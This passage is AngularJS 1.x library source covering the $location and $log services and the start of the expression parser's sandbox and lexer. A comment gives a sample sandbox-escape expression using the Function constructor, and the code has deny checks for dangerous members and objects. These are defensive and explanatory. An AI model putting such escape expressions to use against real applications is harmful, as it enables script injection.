9314 ? beginsWith(hashPrefix, withoutBaseUrl)
9315 : (this.$$html5)
9316 ? withoutBaseUrl
9317 : '';
9318
9319 if (!isString(withoutHashUrl)) {
9320 throw $locationMinErr('ihshprfx', 'Invalid url "{0}", missing hash prefix "{1}".', url,
9321 hashPrefix);
9322 }
9323 parseAppUrl(withoutHashUrl, this, appBase);
9324
9325 this.$$path = removeWindowsDriveName(this.$$path, withoutHashUrl, appBase);
9326
9327 this.$$compose();
9328
9329 /*
9330 * In Windows, on an anchor node on documents loaded from
9331 * the filesystem, the browser will return a pathname
9332 * prefixed with the drive name ('/C:/path') when a
9333 * pathname without a drive is set:
9334 * * a.setAttribute('href', '/foo')
9335 * * a.pathname === '/C:/foo' //true
9336 *
9337 * Inside of Angular, we're always using pathnames that
9338 * do not include drive names for routing.
9339 */
9340 function removeWindowsDriveName (path, url, base) {
9341 /*
9342 Matches paths for file protocol on windows,
9343 such as /C:/foo/bar, and captures only /foo/bar.
9344 */
9345 var windowsFilePathExp = /^\/[A-Z]:(\/.*)/;
9346
9347 var firstPathSegmentMatch;
9348
9349 //Get the relative path from the input URL.
9350 if (url.indexOf(base) === 0) {
9351 url = url.replace(base, '');
9352 }
9353
9354 // The input URL intentionally contains a first path segment that ends with a colon.
9355 if (windowsFilePathExp.exec(url)) {
9356 return path;
9357 }
9358
9359 firstPathSegmentMatch = windowsFilePathExp.exec(path);
9360 return firstPathSegmentMatch ? firstPathSegmentMatch[1] : path;
9361 }
9362 };
9363
9364 /**
9365 * Compose hashbang url and update `absUrl` property
9366 * @private
9367 */
9368 this.$$compose = function() {
9369 var search = toKeyValue(this.$$search),
9370 hash = this.$$hash ? '#' + encodeUriSegment(this.$$hash) : '';
9371
9372 this.$$url = encodePath(this.$$path) + (search ? '?' + search : '') + hash;
9373 this.$$absUrl = appBase + (this.$$url ? hashPrefix + this.$$url : '');
9374 };
9375
9376 this.$$rewrite = function(url) {
9377 if(stripHash(appBase) == stripHash(url)) {
9378 return url;
9379 }
9380 };
9381 }
9382
9383
9384 /**
9385 * LocationHashbangUrl represents url
9386 * This object is exposed as $location service when html5 history api is enabled but the browser
9387 * does not support it.
9388 *
9389 * @constructor
9390 * @param {string} appBase application base URL
9391 * @param {string} hashPrefix hashbang prefix
9392 */
9393 function LocationHashbangInHtml5Url(appBase, hashPrefix) {
9394 this.$$html5 = true;
9395 LocationHashbangUrl.apply(this, arguments);
9396
9397 var appBaseNoFile = stripFile(appBase);
9398
9399 this.$$rewrite = function(url) {
9400 var appUrl;
9401
9402 if ( appBase == stripHash(url) ) {
9403 return url;
9404 } else if ( (appUrl = beginsWith(appBaseNoFile, url)) ) {
9405 return appBase + hashPrefix + appUrl;
9406 } else if ( appBaseNoFile === url + '/') {
9407 return appBaseNoFile;
9408 }
9409 };
9410
9411 this.$$compose = function() {
9412 var search = toKeyValue(this.$$search),
9413 hash = this.$$hash ? '#' + encodeUriSegment(this.$$hash) : '';
9414
9415 this.$$url = encodePath(this.$$path) + (search ? '?' + search : '') + hash;
9416 // include hashPrefix in $$absUrl when $$url is empty so IE8 & 9 do not reload page because of removal of '#'
9417 this.$$absUrl = appBase + hashPrefix + this.$$url;
9418 };
9419
9420 }
9421
9422
9423 LocationHashbangInHtml5Url.prototype =
9424 LocationHashbangUrl.prototype =
9425 LocationHtml5Url.prototype = {
9426
9427 /**
9428 * Are we in html5 mode?
9429 * @private
9430 */
9431 $$html5: false,
9432
9433 /**
9434 * Has any change been replacing ?
9435 * @private
9436 */
9437 $$replace: false,
9438
9439 /**
9440 * @ngdoc method
9441 * @name $location#absUrl
9442 *
9443 * @description
9444 * This method is getter only.
9445 *
9446 * Return full url representation with all segments encoded according to rules specified in
9447 * [RFC 3986](http://www.ietf.org/rfc/rfc3986.txt).
9448 *
9449 * @return {string} full url
9450 */
9451 absUrl: locationGetter('$$absUrl'),
9452
9453 /**
9454 * @ngdoc method
9455 * @name $location#url
9456 *
9457 * @description
9458 * This method is getter / setter.
9459 *
9460 * Return url (e.g. `/path?a=b#hash`) when called without any parameter.
9461 *
9462 * Change path, search and hash, when called with parameter and return `$location`.
9463 *
9464 * @param {string=} url New url without base prefix (e.g. `/path?a=b#hash`)
9465 * @param {string=} replace The path that will be changed
9466 * @return {string} url
9467 */
9468 url: function(url, replace) {
9469 if (isUndefined(url))
9470 return this.$$url;
9471
9472 var match = PATH_MATCH.exec(url);
9473 if (match[1]) this.path(decodeURIComponent(match[1]));
9474 if (match[2] || match[1]) this.search(match[3] || '');
9475 this.hash(match[5] || '', replace);
9476
9477 return this;
9478 },
9479
9480 /**
9481 * @ngdoc method
9482 * @name $location#protocol
9483 *
9484 * @description
9485 * This method is getter only.
9486 *
9487 * Return protocol of current url.
9488 *
9489 * @return {string} protocol of current url
9490 */
9491 protocol: locationGetter('$$protocol'),
9492
9493 /**
9494 * @ngdoc method
9495 * @name $location#host
9496 *
9497 * @description
9498 * This method is getter only.
9499 *
9500 * Return host of current url.
9501 *
9502 * @return {string} host of current url.
9503 */
9504 host: locationGetter('$$host'),
9505
9506 /**
9507 * @ngdoc method
9508 * @name $location#port
9509 *
9510 * @description
9511 * This method is getter only.
9512 *
9513 * Return port of current url.
9514 *
9515 * @return {Number} port
9516 */
9517 port: locationGetter('$$port'),
9518
9519 /**
9520 * @ngdoc method
9521 * @name $location#path
9522 *
9523 * @description
9524 * This method is getter / setter.
9525 *
9526 * Return path of current url when called without any parameter.
9527 *
9528 * Change path when called with parameter and return `$location`.
9529 *
9530 * Note: Path should always begin with forward slash (/), this method will add the forward slash
9531 * if it is missing.
9532 *
9533 * @param {string=} path New path
9534 * @return {string} path
9535 */
9536 path: locationGetterSetter('$$path', function(path) {
9537 return path.charAt(0) == '/' ? path : '/' + path;
9538 }),
9539
9540 /**
9541 * @ngdoc method
9542 * @name $location#search
9543 *
9544 * @description
9545 * This method is getter / setter.
9546 *
9547 * Return search part (as object) of current url when called without any parameter.
9548 *
9549 * Change search part when called with parameter and return `$location`.
9550 *
9551 *
9552 * ```js
9553 * // given url http://example.com/#/some/path?foo=bar&baz=xoxo
9554 * var searchObject = $location.search();
9555 * // => {foo: 'bar', baz: 'xoxo'}
9556 *
9557 *
9558 * // set foo to 'yipee'
9559 * $location.search('foo', 'yipee');
9560 * // => $location
9561 * ```
9562 *
9563 * @param {string|Object.<string>|Object.<Array.<string>>} search New search params - string or
9564 * hash object.
9565 *
9566 * When called with a single argument the method acts as a setter, setting the `search` component
9567 * of `$location` to the specified value.
9568 *
9569 * If the argument is a hash object containing an array of values, these values will be encoded
9570 * as duplicate search parameters in the url.
9571 *
9572 * @param {(string|Array<string>|boolean)=} paramValue If `search` is a string, then `paramValue`
9573 * will override only a single search property.
9574 *
9575 * If `paramValue` is an array, it will override the property of the `search` component of
9576 * `$location` specified via the first argument.
9577 *
9578 * If `paramValue` is `null`, the property specified via the first argument will be deleted.
9579 *
9580 * If `paramValue` is `true`, the property specified via the first argument will be added with no
9581 * value nor trailing equal sign.
9582 *
9583 * @return {Object} If called with no arguments returns the parsed `search` object. If called with
9584 * one or more arguments returns `$location` object itself.
9585 */
9586 search: function(search, paramValue) {
9587 switch (arguments.length) {
9588 case 0:
9589 return this.$$search;
9590 case 1:
9591 if (isString(search)) {
9592 this.$$search = parseKeyValue(search);
9593 } else if (isObject(search)) {
9594 // remove object undefined or null properties
9595 forEach(search, function(value, key) {
9596 if (value == null) delete search[key];
9597 });
9598
9599 this.$$search = search;
9600 } else {
9601 throw $locationMinErr('isrcharg',
9602 'The first argument of the `$location#search()` call must be a string or an object.');
9603 }
9604 break;
9605 default:
9606 if (isUndefined(paramValue) || paramValue === null) {
9607 delete this.$$search[search];
9608 } else {
9609 this.$$search[search] = paramValue;
9610 }
9611 }
9612
9613 this.$$compose();
9614 return this;
9615 },
9616
9617 /**
9618 * @ngdoc method
9619 * @name $location#hash
9620 *
9621 * @description
9622 * This method is getter / setter.
9623 *
9624 * Return hash fragment when called without any parameter.
9625 *
9626 * Change hash fragment when called with parameter and return `$location`.
9627 *
9628 * @param {string=} hash New hash fragment
9629 * @return {string} hash
9630 */
9631 hash: locationGetterSetter('$$hash', identity),
9632
9633 /**
9634 * @ngdoc method
9635 * @name $location#replace
9636 *
9637 * @description
9638 * If called, all changes to $location during current `$digest` will be replacing current history
9639 * record, instead of adding new one.
9640 */
9641 replace: function() {
9642 this.$$replace = true;
9643 return this;
9644 }
9645 };
9646
9647 function locationGetter(property) {
9648 return function() {
9649 return this[property];
9650 };
9651 }
9652
9653
9654 function locationGetterSetter(property, preprocess) {
9655 return function(value) {
9656 if (isUndefined(value))
9657 return this[property];
9658
9659 this[property] = preprocess(value);
9660 this.$$compose();
9661
9662 return this;
9663 };
9664 }
9665
9666
9667 /**
9668 * @ngdoc service
9669 * @name $location
9670 *
9671 * @requires $rootElement
9672 *
9673 * @description
9674 * The $location service parses the URL in the browser address bar (based on the
9675 * [window.location](https://developer.mozilla.org/en/window.location)) and makes the URL
9676 * available to your application. Changes to the URL in the address bar are reflected into
9677 * $location service and changes to $location are reflected into the browser address bar.
9678 *
9679 * **The $location service:**
9680 *
9681 * - Exposes the current URL in the browser address bar, so you can
9682 * - Watch and observe the URL.
9683 * - Change the URL.
9684 * - Synchronizes the URL with the browser when the user
9685 * - Changes the address bar.
9686 * - Clicks the back or forward button (or clicks a History link).
9687 * - Clicks on a link.
9688 * - Represents the URL object as a set of methods (protocol, host, port, path, search, hash).
9689 *
9690 * For more information see {@link guide/$location Developer Guide: Using $location}
9691 */
9692
9693 /**
9694 * @ngdoc provider
9695 * @name $locationProvider
9696 * @description
9697 * Use the `$locationProvider` to configure how the application deep linking paths are stored.
9698 */
9699 function $LocationProvider(){
9700 var hashPrefix = '',
9701 html5Mode = false;
9702
9703 /**
9704 * @ngdoc method
9705 * @name $locationProvider#hashPrefix
9706 * @description
9707 * @param {string=} prefix Prefix for hash part (containing path and search)
9708 * @returns {*} current value if used as getter or itself (chaining) if used as setter
9709 */
9710 this.hashPrefix = function(prefix) {
9711 if (isDefined(prefix)) {
9712 hashPrefix = prefix;
9713 return this;
9714 } else {
9715 return hashPrefix;
9716 }
9717 };
9718
9719 /**
9720 * @ngdoc method
9721 * @name $locationProvider#html5Mode
9722 * @description
9723 * @param {boolean=} mode Use HTML5 strategy if available.
9724 * @returns {*} current value if used as getter or itself (chaining) if used as setter
9725 */
9726 this.html5Mode = function(mode) {
9727 if (isDefined(mode)) {
9728 html5Mode = mode;
9729 return this;
9730 } else {
9731 return html5Mode;
9732 }
9733 };
9734
9735 /**
9736 * @ngdoc event
9737 * @name $location#$locationChangeStart
9738 * @eventType broadcast on root scope
9739 * @description
9740 * Broadcasted before a URL will change. This change can be prevented by calling
9741 * `preventDefault` method of the event. See {@link ng.$rootScope.Scope#$on} for more
9742 * details about event object. Upon successful change
9743 * {@link ng.$location#events_$locationChangeSuccess $locationChangeSuccess} is fired.
9744 *
9745 * @param {Object} angularEvent Synthetic event object.
9746 * @param {string} newUrl New URL
9747 * @param {string=} oldUrl URL that was before it was changed.
9748 */
9749
9750 /**
9751 * @ngdoc event
9752 * @name $location#$locationChangeSuccess
9753 * @eventType broadcast on root scope
9754 * @description
9755 * Broadcasted after a URL was changed.
9756 *
9757 * @param {Object} angularEvent Synthetic event object.
9758 * @param {string} newUrl New URL
9759 * @param {string=} oldUrl URL that was before it was changed.
9760 */
9761
9762 this.$get = ['$rootScope', '$browser', '$sniffer', '$rootElement',
9763 function( $rootScope, $browser, $sniffer, $rootElement) {
9764 var $location,
9765 LocationMode,
9766 baseHref = $browser.baseHref(), // if base[href] is undefined, it defaults to ''
9767 initialUrl = $browser.url(),
9768 appBase;
9769
9770 if (html5Mode) {
9771 appBase = serverBase(initialUrl) + (baseHref || '/');
9772 LocationMode = $sniffer.history ? LocationHtml5Url : LocationHashbangInHtml5Url;
9773 } else {
9774 appBase = stripHash(initialUrl);
9775 LocationMode = LocationHashbangUrl;
9776 }
9777 $location = new LocationMode(appBase, '#' + hashPrefix);
9778 $location.$$parse($location.$$rewrite(initialUrl));
9779
9780 var IGNORE_URI_REGEXP = /^\s*(javascript|mailto):/i;
9781
9782 $rootElement.on('click', function(event) {
9783 // TODO(vojta): rewrite link when opening in new tab/window (in legacy browser)
9784 // currently we open nice url link and redirect then
9785
9786 if (event.ctrlKey || event.metaKey || event.which == 2) return;
9787
9788 var elm = jqLite(event.target);
9789
9790 // traverse the DOM up to find first A tag
9791 while (lowercase(elm[0].nodeName) !== 'a') {
9792 // ignore rewriting if no A tag (reached root element, or no parent - removed from document)
9793 if (elm[0] === $rootElement[0] || !(elm = elm.parent())[0]) return;
9794 }
9795
9796 var absHref = elm.prop('href');
9797
9798 if (isObject(absHref) && absHref.toString() === '[object SVGAnimatedString]') {
9799 // SVGAnimatedString.animVal should be identical to SVGAnimatedString.baseVal, unless during
9800 // an animation.
9801 absHref = urlResolve(absHref.animVal).href;
9802 }
9803
9804 // Ignore when url is started with javascript: or mailto:
9805 if (IGNORE_URI_REGEXP.test(absHref)) return;
9806
9807 // Make relative links work in HTML5 mode for legacy browsers (or at least IE8 & 9)
9808 // The href should be a regular url e.g. /link/somewhere or link/somewhere or ../somewhere or
9809 // somewhere#anchor or http://example.com/somewhere
9810 if (LocationMode === LocationHashbangInHtml5Url) {
9811 // get the actual href attribute - see
9812 // http://msdn.microsoft.com/en-us/library/ie/dd347148(v=vs.85).aspx
9813 var href = elm.attr('href') || elm.attr('xlink:href');
9814
9815 if (href && href.indexOf('://') < 0) { // Ignore absolute URLs
9816 var prefix = '#' + hashPrefix;
9817 if (href[0] == '/') {
9818 // absolute path - replace old path
9819 absHref = appBase + prefix + href;
9820 } else if (href[0] == '#') {
9821 // local anchor
9822 absHref = appBase + prefix + ($location.path() || '/') + href;
9823 } else {
9824 // relative path - join with current path
9825 var stack = $location.path().split("/"),
9826 parts = href.split("/");
9827 if (stack.length === 2 && !stack[1]) stack.length = 1;
9828 for (var i=0; i<parts.length; i++) {
9829 if (parts[i] == ".")
9830 continue;
9831 else if (parts[i] == "..")
9832 stack.pop();
9833 else if (parts[i].length)
9834 stack.push(parts[i]);
9835 }
9836 absHref = appBase + prefix + stack.join('/');
9837 }
9838 }
9839 }
9840
9841 var rewrittenUrl = $location.$$rewrite(absHref);
9842
9843 if (absHref && !elm.attr('target') && rewrittenUrl && !event.isDefaultPrevented()) {
9844 event.preventDefault();
9845 if (rewrittenUrl != $browser.url()) {
9846 // update location manually
9847 $location.$$parse(rewrittenUrl);
9848 $rootScope.$apply();
9849 // hack to work around FF6 bug 684208 when scenario runner clicks on links
9850 window.angular['ff-684208-preventDefault'] = true;
9851 }
9852 }
9853 });
9854
9855
9856 // rewrite hashbang url <> html5 url
9857 if ($location.absUrl() != initialUrl) {
9858 $browser.url($location.absUrl(), true);
9859 }
9860
9861 // update $location when $browser url changes
9862 $browser.onUrlChange(function(newUrl) {
9863 if ($location.absUrl() != newUrl) {
9864 $rootScope.$evalAsync(function() {
9865 var oldUrl = $location.absUrl();
9866
9867 $location.$$parse(newUrl);
9868 if ($rootScope.$broadcast('$locationChangeStart', newUrl,
9869 oldUrl).defaultPrevented) {
9870 $location.$$parse(oldUrl);
9871 $browser.url(oldUrl);
9872 } else {
9873 afterLocationChange(oldUrl);
9874 }
9875 });
9876 if (!$rootScope.$$phase) $rootScope.$digest();
9877 }
9878 });
9879
9880 // update browser
9881 var changeCounter = 0;
9882 $rootScope.$watch(function $locationWatch() {
9883 var oldUrl = $browser.url();
9884 var currentReplace = $location.$$replace;
9885
9886 if (!changeCounter || oldUrl != $location.absUrl()) {
9887 changeCounter++;
9888 $rootScope.$evalAsync(function() {
9889 if ($rootScope.$broadcast('$locationChangeStart', $location.absUrl(), oldUrl).
9890 defaultPrevented) {
9891 $location.$$parse(oldUrl);
9892 } else {
9893 $browser.url($location.absUrl(), currentReplace);
9894 afterLocationChange(oldUrl);
9895 }
9896 });
9897 }
9898 $location.$$replace = false;
9899
9900 return changeCounter;
9901 });
9902
9903 return $location;
9904
9905 function afterLocationChange(oldUrl) {
9906 $rootScope.$broadcast('$locationChangeSuccess', $location.absUrl(), oldUrl);
9907 }
9908 }];
9909 }
9910
9911 /**
9912 * @ngdoc service
9913 * @name $log
9914 * @requires $window
9915 *
9916 * @description
9917 * Simple service for logging. Default implementation safely writes the message
9918 * into the browser's console (if present).
9919 *
9920 * The main purpose of this service is to simplify debugging and troubleshooting.
9921 *
9922 * The default is to log `debug` messages. You can use
9923 * {@link ng.$logProvider ng.$logProvider#debugEnabled} to change this.
9924 *
9925 * @example
9926 <example module="logExample">
9927 <file name="script.js">
9928 angular.module('logExample', [])
9929 .controller('LogController', ['$scope', '$log', function($scope, $log) {
9930 $scope.$log = $log;
9931 $scope.message = 'Hello World!';
9932 }]);
9933 </file>
9934 <file name="index.html">
9935 <div ng-controller="LogController">
9936 <p>Reload this page with open console, enter text and hit the log button...</p>
9937 Message:
9938 <input type="text" ng-model="message"/>
9939 <button ng-click="$log.log(message)">log</button>
9940 <button ng-click="$log.warn(message)">warn</button>
9941 <button ng-click="$log.info(message)">info</button>
9942 <button ng-click="$log.error(message)">error</button>
9943 </div>
9944 </file>
9945 </example>
9946 */
9947
9948 /**
9949 * @ngdoc provider
9950 * @name $logProvider
9951 * @description
9952 * Use the `$logProvider` to configure how the application logs messages
9953 */
9954 function $LogProvider(){
9955 var debug = true,
9956 self = this;
9957
9958 /**
9959 * @ngdoc method
9960 * @name $logProvider#debugEnabled
9961 * @description
9962 * @param {boolean=} flag enable or disable debug level messages
9963 * @returns {*} current value if used as getter or itself (chaining) if used as setter
9964 */
9965 this.debugEnabled = function(flag) {
9966 if (isDefined(flag)) {
9967 debug = flag;
9968 return this;
9969 } else {
9970 return debug;
9971 }
9972 };
9973
9974 this.$get = ['$window', function($window){
9975 return {
9976 /**
9977 * @ngdoc method
9978 * @name $log#log
9979 *
9980 * @description
9981 * Write a log message
9982 */
9983 log: consoleLog('log'),
9984
9985 /**
9986 * @ngdoc method
9987 * @name $log#info
9988 *
9989 * @description
9990 * Write an information message
9991 */
9992 info: consoleLog('info'),
9993
9994 /**
9995 * @ngdoc method
9996 * @name $log#warn
9997 *
9998 * @description
9999 * Write a warning message
10000 */
10001 warn: consoleLog('warn'),
10002
10003 /**
10004 * @ngdoc method
10005 * @name $log#error
10006 *
10007 * @description
10008 * Write an error message
10009 */
10010 error: consoleLog('error'),
10011
10012 /**
10013 * @ngdoc method
10014 * @name $log#debug
10015 *
10016 * @description
10017 * Write a debug message
10018 */
10019 debug: (function () {
10020 var fn = consoleLog('debug');
10021
10022 return function() {
10023 if (debug) {
10024 fn.apply(self, arguments);
10025 }
10026 };
10027 }())
10028 };
10029
10030 function formatError(arg) {
10031 if (arg instanceof Error) {
10032 if (arg.stack) {
10033 arg = (arg.message && arg.stack.indexOf(arg.message) === -1)
10034 ? 'Error: ' + arg.message + '\n' + arg.stack
10035 : arg.stack;
10036 } else if (arg.sourceURL) {
10037 arg = arg.message + '\n' + arg.sourceURL + ':' + arg.line;
10038 }
10039 }
10040 return arg;
10041 }
10042
10043 function consoleLog(type) {
10044 var console = $window.console || {},
10045 logFn = console[type] || console.log || noop,
10046 hasApply = false;
10047
10048 // Note: reading logFn.apply throws an error in IE11 in IE8 document mode.
10049 // The reason behind this is that console.log has type "object" in IE8...
10050 try {
10051 hasApply = !!logFn.apply;
10052 } catch (e) {}
10053
10054 if (hasApply) {
10055 return function() {
10056 var args = [];
10057 forEach(arguments, function(arg) {
10058 args.push(formatError(arg));
10059 });
10060 return logFn.apply(console, args);
10061 };
10062 }
10063
10064 // we are IE which either doesn't have window.console => this is noop and we do nothing,
10065 // or we are IE where console.log doesn't have apply so we log at least first 2 args
10066 return function(arg1, arg2) {
10067 logFn(arg1, arg2 == null ? '' : arg2);
10068 };
10069 }
10070 }];
10071 }
10072
10073 var $parseMinErr = minErr('$parse');
10074 var promiseWarningCache = {};
10075 var promiseWarning;
10076
10077 // Sandboxing Angular Expressions
10078 // ------------------------------
10079 // Angular expressions are generally considered safe because these expressions only have direct
10080 // access to $scope and locals. However, one can obtain the ability to execute arbitrary JS code by
10081 // obtaining a reference to native JS functions such as the Function constructor.
10082 //
10083 // As an example, consider the following Angular expression:
10084 //
10085 // {}.toString.constructor('alert("evil JS code")')
10086 //
10087 // This sandboxing technique is not perfect and doesn't aim to be. The goal is to prevent exploits
10088 // against the expression language, but not to prevent exploits that were enabled by exposing
10089 // sensitive JavaScript or browser apis on Scope. Exposing such objects on a Scope is never a good
10090 // practice and therefore we are not even trying to protect against interaction with an object
10091 // explicitly exposed in this way.
10092 //
10093 // In general, it is not possible to access a Window object from an angular expression unless a
10094 // window or some DOM object that has a reference to window is published onto a Scope.
10095 // Similarly we prevent invocations of function known to be dangerous, as well as assignments to
10096 // native objects.
10097
10098
10099 function ensureSafeMemberName(name, fullExpression) {
10100 if (name === "__defineGetter__" || name === "__defineSetter__"
10101 || name === "__lookupGetter__" || name === "__lookupSetter__"
10102 || name === "__proto__") {
10103 throw $parseMinErr('isecfld',
10104 'Attempting to access a disallowed field in Angular expressions! '
10105 +'Expression: {0}', fullExpression);
10106 }
10107 return name;
10108 }
10109
10110 function ensureSafeObject(obj, fullExpression) {
10111 // nifty check if obj is Function that is fast and works across iframes and other contexts
10112 if (obj) {
10113 if (obj.constructor === obj) {
10114 throw $parseMinErr('isecfn',
10115 'Referencing Function in Angular expressions is disallowed! Expression: {0}',
10116 fullExpression);
10117 } else if (// isWindow(obj)
10118 obj.document && obj.location && obj.alert && obj.setInterval) {
10119 throw $parseMinErr('isecwindow',
10120 'Referencing the Window in Angular expressions is disallowed! Expression: {0}',
10121 fullExpression);
10122 } else if (// isElement(obj)
10123 obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
10124 throw $parseMinErr('isecdom',
10125 'Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}',
10126 fullExpression);
10127 } else if (// block Object so that we can't get hold of dangerous Object.* methods
10128 obj === Object) {
10129 throw $parseMinErr('isecobj',
10130 'Referencing Object in Angular expressions is disallowed! Expression: {0}',
10131 fullExpression);
10132 }
10133 }
10134 return obj;
10135 }
10136
10137 var CALL = Function.prototype.call;
10138 var APPLY = Function.prototype.apply;
10139 var BIND = Function.prototype.bind;
10140
10141 function ensureSafeFunction(obj, fullExpression) {
10142 if (obj) {
10143 if (obj.constructor === obj) {
10144 throw $parseMinErr('isecfn',
10145 'Referencing Function in Angular expressions is disallowed! Expression: {0}',
10146 fullExpression);
10147 } else if (obj === CALL || obj === APPLY || (BIND && obj === BIND)) {
10148 throw $parseMinErr('isecff',
10149 'Referencing call, apply or bind in Angular expressions is disallowed! Expression: {0}',
10150 fullExpression);
10151 }
10152 }
10153 }
10154
10155 var OPERATORS = {
10156 /* jshint bitwise : false */
10157 'null':function(){return null;},
10158 'true':function(){return true;},
10159 'false':function(){return false;},
10160 undefined:noop,
10161 '+':function(self, locals, a,b){
10162 a=a(self, locals); b=b(self, locals);
10163 if (isDefined(a)) {
10164 if (isDefined(b)) {
10165 return a + b;
10166 }
10167 return a;
10168 }
10169 return isDefined(b)?b:undefined;},
10170 '-':function(self, locals, a,b){
10171 a=a(self, locals); b=b(self, locals);
10172 return (isDefined(a)?a:0)-(isDefined(b)?b:0);
10173 },
10174 '*':function(self, locals, a,b){return a(self, locals)*b(self, locals);},
10175 '/':function(self, locals, a,b){return a(self, locals)/b(self, locals);},
10176 '%':function(self, locals, a,b){return a(self, locals)%b(self, locals);},
10177 '^':function(self, locals, a,b){return a(self, locals)^b(self, locals);},
10178 '=':noop,
10179 '===':function(self, locals, a, b){return a(self, locals)===b(self, locals);},
10180 '!==':function(self, locals, a, b){return a(self, locals)!==b(self, locals);},
10181 '==':function(self, locals, a,b){return a(self, locals)==b(self, locals);},
10182 '!=':function(self, locals, a,b){return a(self, locals)!=b(self, locals);},
10183 '<':function(self, locals, a,b){return a(self, locals)<b(self, locals);},
10184 '>':function(self, locals, a,b){return a(self, locals)>b(self, locals);},
10185 '<=':function(self, locals, a,b){return a(self, locals)<=b(self, locals);},
10186 '>=':function(self, locals, a,b){return a(self, locals)>=b(self, locals);},
10187 '&&':function(self, locals, a,b){return a(self, locals)&&b(self, locals);},
10188 '||':function(self, locals, a,b){return a(self, locals)||b(self, locals);},
10189 '&':function(self, locals, a,b){return a(self, locals)&b(self, locals);},
10190 // '|':function(self, locals, a,b){return a|b;},
10191 '|':function(self, locals, a,b){return b(self, locals)(self, locals, a(self, locals));},
10192 '!':function(self, locals, a){return !a(self, locals);}
10193 };
10194 /* jshint bitwise: true */
10195 var ESCAPE = {"n":"\n", "f":"\f", "r":"\r", "t":"\t", "v":"\v", "'":"'", '"':'"'};
10196
10197
10198 /////////////////////////////////////////
10199
10200
10201 /**
10202 * @constructor
10203 */
10204 var Lexer = function (options) {
10205 this.options = options;
10206 };
10207
10208 Lexer.prototype = {
10209 constructor: Lexer,
10210
10211 lex: function (text) {
10212 this.text = text;
10213
10214 this.index = 0;
10215 this.ch = undefined;
10216 this.lastCh = ':'; // can start regexp
10217
10218 this.tokens = [];
10219
10220 while (this.index < this.text.length) {
10221 this.ch = this.text.charAt(this.index);
10222 if (this.is('"\'')) {
10223 this.readString(this.ch);
10224 } else if (this.isNumber(this.ch) || this.is('.') && this.isNumber(this.peek())) {
10225 this.readNumber();
10226 } else if (this.isIdent(this.ch)) {
10227 this.readIdent();
10228 } else if (this.is('(){}[].,;:?')) {
10229 this.tokens.push({
10230 index: this.index,
10231 text: this.ch
10232 });
10233 this.index++;
10234 } else if (this.isWhitespace(this.ch)) {
10235 this.index++;
10236 continue;
10237 } else {
10238 var ch2 = this.ch + this.peek();
10239 var ch3 = ch2 + this.peek(2);
10240 var fn = OPERATORS[this.ch];
10241 var fn2 = OPERATORS[ch2];
10242 var fn3 = OPERATORS[ch3];
10243 if (fn3) {
10244 this.tokens.push({index: this.index, text: ch3, fn: fn3});
10245 this.index += 3;
10246 } else if (fn2) {
10247 this.tokens.push({index: this.index, text: ch2, fn: fn2});
10248 this.index += 2;
10249 } else if (fn) {
10250 this.tokens.push({
10251 index: this.index,
10252 text: this.ch,
10253 fn: fn
10254 });
10255 this.index += 1;
10256 } else {
10257 this.throwError('Unexpected next character ', this.index, this.index + 1);
10258 }
10259 }
10260 this.lastCh = this.ch;
10261 }
10262 return this.tokens;
10263 },
10264
10265 is: function(chars) {
10266 return chars.indexOf(this.ch) !== -1;
10267 },
10268
10269 was: function(chars) {
10270 return chars.indexOf(this.lastCh) !== -1;
10271 },
10272
10273 peek: function(i) {
10274 var num = i || 1;
10275 return (this.index + num < this.text.length) ? this.text.charAt(this.index + num) : false;
10276 },
10277
10278 isNumber: function(ch) {
10279 return ('0' <= ch && ch <= '9');
10280 },
10281
10282 isWhitespace: function(ch) {
10283 // IE treats non-breaking space as \u00A0
10284 return (ch === ' ' || ch === '\r' || ch === '\t' ||
10285 ch === '\n' || ch === '\v' || ch === '\u00A0');
10286 },
10287
10288 isIdent: function(ch) {
10289 return ('a' <= ch && ch <= 'z' ||
10290 'A' <= ch && ch <= 'Z' ||
10291 '_' === ch || ch === '$');
10292 },
10293
10294 isExpOperator: function(ch) {
10295 return (ch === '-' || ch === '+' || this.isNumber(ch));
10296 },
10297
10298 throwError: function(error, start, end) {
10299 end = end || this.index;
10300 var colStr = (isDefined(start)
10301 ? 's ' + start + '-' + this.index + ' [' + this.text.substring(start, end) + ']'
10302 : ' ' + end);
10303 throw $parseMinErr('lexerr', 'Lexer Error: {0} at column{1} in expression [{2}].',
10304 error, colStr, this.text);
10305 },
10306
10307 readNumber: function() {
10308 var number = '';
10309 var start = this.index;
10310 while (this.index < this.text.length) {
10311 var ch = lowercase(this.text.charAt(this.index));
10312 if (ch == '.' || this.isNumber(ch)) {
10313 number += ch;
10314 } else {
10315 var peekCh = this.peek();
10316 if (ch == 'e' && this.isExpOperator(peekCh)) {
10317 number += ch;
10318 } else if (this.isExpOperator(ch) &&
10319 peekCh && this.isNumber(peekCh) &&
10320 number.charAt(number.length - 1) == 'e') {
10321 number += ch;
10322 } else if (this.isExpOperator(ch) &&
10323 (!peekCh || !this.isNumber(peekCh)) &&
10324 number.charAt(number.length - 1) == 'e') {
10325 this.throwError('Invalid exponent');
10326 } else {
10327 break;
10328 }
10329 }
10330 this.index++;
10331 }
10332 number = 1 * number;
10333 this.tokens.push({
10334 index: start,
10335 text: number,
10336 literal: true,
10337 constant: true,
10338 fn: function() { return number; }
10339 });
10340 },
10341
10342 readIdent: function() {
10343 var parser = this;
10344
10345 var ident = '';
10346 var start = this.index;
10347
10348 var lastDot, peekIndex, methodName, ch;
10349
10350 while (this.index < this.text.length) {
10351 ch = this.text.charAt(this.index);
10352 if (ch === '.' || this.isIdent(ch) || this.isNumber(ch)) {
10353 if (ch === '.') lastDot = this.index;
10354 ident += ch;
10355 } else {
10356 break;
10357 }
10358 this.index++;
10359 }
10360
10361 //check if this is not a method invocation and if it is back out to last dot
10362 if (lastDot) {
10363 peekIndex = this.index;
10364 while (peekIndex < this.text.length) {
10365 ch = this.text.charAt(peekIndex);
10366 if (ch === '(') {
10367 methodName = ident.substr(lastDot - start + 1);
10368 ident = ident.substr(0, lastDot - start);
10369 this.index = peekIndex;
10370 break;
10371 }
10372 if (this.isWhitespace(ch)) {
10373 peekIndex++;
10374 } else {
10375 break;
10376 }
10377 }
10378 }
10379
10380
10381 var token = {
10382 index: start,
10383 text: ident
10384 };
10385
10386 // OPERATORS is our own object so we don't need to use special hasOwnPropertyFn
10387 if (OPERATORS.hasOwnProperty(ident)) {
10388 token.fn = OPERATORS[ident];
10389 token.literal = true;
10390 token.constant = true;
10391 } else {
